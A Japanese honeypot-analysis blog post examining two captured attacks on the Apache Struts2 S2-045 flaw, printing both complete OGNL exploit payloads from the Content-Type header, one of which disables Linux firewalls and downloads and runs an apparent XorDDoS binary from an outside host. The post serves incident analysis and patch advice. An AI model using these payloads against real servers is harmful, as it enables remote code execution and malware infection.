ハニーポット観察記録(33)「Struts2 S2-045を狙った攻撃」
どうも。ハニーポッターの森久です。
2017年3月6日にApache Struts2 における脆弱性(S2-045/CVE-2017-5638)が公開されました。またこの脆弱性を攻撃する PoC(Proof of concept)も公開されており、攻撃が流行っています。
日本国内の Web サイトでも被害が発生しており、ニュースで一部報道されています。
都税のサイトに不正アクセス 67万件余の個人情報流出か(NHK ニュース Web)
http://www3.nhk.or.jp/news/html/20170310/k10010906691000.html
Webアプリケーション製作者、サーバ管理者、セキュリティエンジニア、脆弱性対策やインシデントレスポンスなどに関わっている皆様、Struts は毎度のことながら対応お疲れ様です。本当にお疲れ様です。
今回は、ハニーポットにて、S2-045 の脆弱性を狙った攻撃を検知したのでご紹介します。
検知ログ1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
POST / HTTP/1.1 Connection: Keep-Alive Content-Type: %{(#Normal='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} Accept: text/html, application/xhtml+xml, */* Accept-Language: zh-CN User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Content-Length: 178 Host: ***.***.***.*** c="123" --447635f88b584ab6b8d9c17d04d79918 Content-Disposition: form-data; name="image1" Content-Type: text/plain; charset=utf-8 x --447635f88b584ab6b8d9c17d04d79918-- |
※一部の情報を意図的に伏せています。
検知ログの解説
S2-045 は Jakarta Multipart parser のファイルアップロード処理におけるリモートから任意のコードが実行可能な脆弱性です。
検知ログ1では、Content-Type ヘッダが明らかに不審です。multipart/form-data の指定だけでなく、OGNL(Object-Graph Navigation Language)式が含まれています。
今回の脆弱性は、リクエストのパース部分がポイントのため、S2-045を狙った攻撃で間違いありません。なお POST のデータ部分については、大きく攻撃コードに関わる内容ではありません。
OGNL 式において、注目すべき点は次の2つです。
- cmd 変数で指定されている OS コマンド
- ProcessBuilder クラスにおける複数のOS環境対応
1に指定された OS コマンドは、Struts の Web アプリケーション経由で実行されます。検知ログ1では「#cmd=’whoami’」というように whoami コマンドが指定されていました。
whoami コマンドは、コマンドを実行したユーザ名を表示することができます。そのためマルウェア感染や Web アプリケーションの設定を書き換えるなどの危険性の高い攻撃ではありません。
どちらかというと、S2-045の脆弱性の有無を調査する通信と言えます。
次に2ですが、この攻撃コード作者が狡猾というか、工夫している点でもあるのですが、Windows 環境でも、Linux 環境でも、コマンドが実行できるようにしています。
Struts は Java による Web アプリケーションを作成するためのフレームワークであり、動作する OS は複数あります。
攻撃者視点では、攻撃対象の Web サーバが、何の OS で動作しているか予測することは難しいです(バナー情報から判明する等わかる場合もあります)。
そこで攻撃コードを Windows でも Linux でも動作するように作成しておけば、攻撃対象の環境を考慮する必要がないため、より攻撃を成功させやすくなります。
実装部分のポイントは次のコードです。
(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).( #cmds=(#iswin?{‘cmd.exe‘,’/c’,#cmd}:{‘/bin/bash‘,’-c’,#cmd})) |
1行目は、iswin 変数に System クラスから os.name の情報を取得し、その中に「win」という文字列の有無を確認しています。
2行目は、いわゆる三項演算子(条件式 ? trueのときの処理 : false のときの処理)を利用しています。つまり iswin が true(Windows 環境)であれば、cmd.exe を呼び出します。一方、 iswin が false(Linux 環境)であれば、bash シェルを呼び出します。
OS から呼び出す処理系のコマンドが判明したら ProcessBuilder クラスを利用し、プロセスを生成および実行します。
なお whoami コマンドは Windows/Linux の両方で実行可能なコマンドです。そのためどちらの環境であっても、コマンドの実行結果を取得することができます。
さてここまで検知ログ1について解説してきました。ここでもう1件検知したログを紹介します。
検知ログ2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
POST /mainAction.action HTTP/1.1 Accept-Encoding: identity Content-Length: 331 Host: ***.***.***.*** Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;cd /tmp;wget -c http://180.100.235●26:9/6;chmod 777 6;./6;').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 --1459c398af2b4142b16f8c5d756f038e Content-Disposition: form-data; name="image1"; filename="tmp.txt" Content-Type: text/plain http://***.***.95.55/mainAction.action http://***.***.95.41/mainAction.action http://***.***.228.163/mainAction.action http://***.***.20.219/mainAction.action --1459c398af2b4142b16f8c5d756f038e-- |
※一部の情報を意図的に伏せています。
検知ログの解説
検知ログ2では、検知ログ1と同様に cmd 変数に指定した OS コマンドを実行することです。
が、攻撃性の高い内容です。コマンド実行を試みている「#cmd」の部分を抜粋して次に示します。
/etc/init.d/iptables stop; service iptables stop; SuSEfirewall2 stop; reSuSEfirewall2 stop; cd /tmp; wget -c http://180.100.235●26:9/6; chmod 777 6; ./6; |
※意図せぬアクセスを防ぐために、.(ドット)を●に変更しています。
攻撃のポイントは、前半の4行と後半の4行に分けて考えることができます。それぞれ攻撃者の狙いがあります。
前半4行のiptables や SuSEfirewall2 など stop させようとしているプロセスは、Linux 環境でよく利用されるファイアウォールです。攻撃者は、次の攻撃につなげるために、障壁となるファイアウォールを停止させようという狙いが伺い知れます。
次に後半4行の部分ですが、/tmp ディレクトリに外部ホストから「6」というプログラムをダウンロードして、実行権限を追加した後に実行しようとしています。9/tcp という標準的な Web サーバのポート(80/tcp)とは違う時点で怪しさ満点です。
VirusTotal の解析結果からは、XorDDoS という、DDoS 攻撃をおこなうマルウェアのように見受けられます。怖いですねー。
SHA256:98bd48f1574a891b5ae8dff726671255e10b4b30c2f562f3edc5f6f89f35804d
https://www.virustotal.com/en/file/98bd48f1574a891b5ae8dff726671255e10b4b30c2f562f3edc5f6f89f35804d/analysis/
なお POST のデータ部分で tmp.txt というファイル名で指定されているデータは、攻撃コード内部で利用されているわけではなく、また記載されていた IP アドレスについて、指定された意図は読み取れませんでした。
まとめ
今回は Apache Struts2 の S2-045 の脆弱性を狙った攻撃を2種類紹介しました。1つは脆弱性有無の調査通信で、もう1つはファイアウォールの停止とマルウェア感染を狙った危険性の高い通信でした。
Struts を利用している Web アプリケーションを利用している方は、バージョンアップを至急実施していただくことを推奨します。
脆弱なバージョン
- Apache Struts 2.3.5 から 2.3.31 まで
- Apache Struts 2.5 から 2.5.10 まで
また Struts を動作させている環境を管理されている方は、不審なログが残っていないか、また見覚えのないファイルが作成されていたり、プロセスが実行されていないか確認いただくことを推奨します。
このブログのハニーポット観察記録シリーズをまとめた書籍を出版しました。
ハニーポットを運用されている方や、ネットワークからの攻撃を広く知りたい方にも最適です。よろしくお願いします。
参考情報
Apache Struts 2 Documentation (Security Bulletins: S2-045)
https://struts.apache.org/docs/s2-045.html
Apache Struts 2 の脆弱性 (S2-045) に関する注意喚起(JPCERT/CC)
https://www.jpcert.or.jp/at/2017/at170009.html
Apache Struts2 の脆弱性対策について(CVE-2017-5638)(S2-045)(IPA)
https://www.ipa.go.jp/security/ciadr/vul/20170308-struts.html
Apache Struts 2における脆弱性 (S2-045、CVE-2017-5638)の被害拡大について(株式会社ラック)
https://www.lac.co.jp/lacwatch/alert/20170310_001246.html
CVE-2017-5638 – 脆弱性調査レポート(ソフトバンク・テクノロジー株式会社)
https://www.softbanktech.jp/information/2017/20170308-01/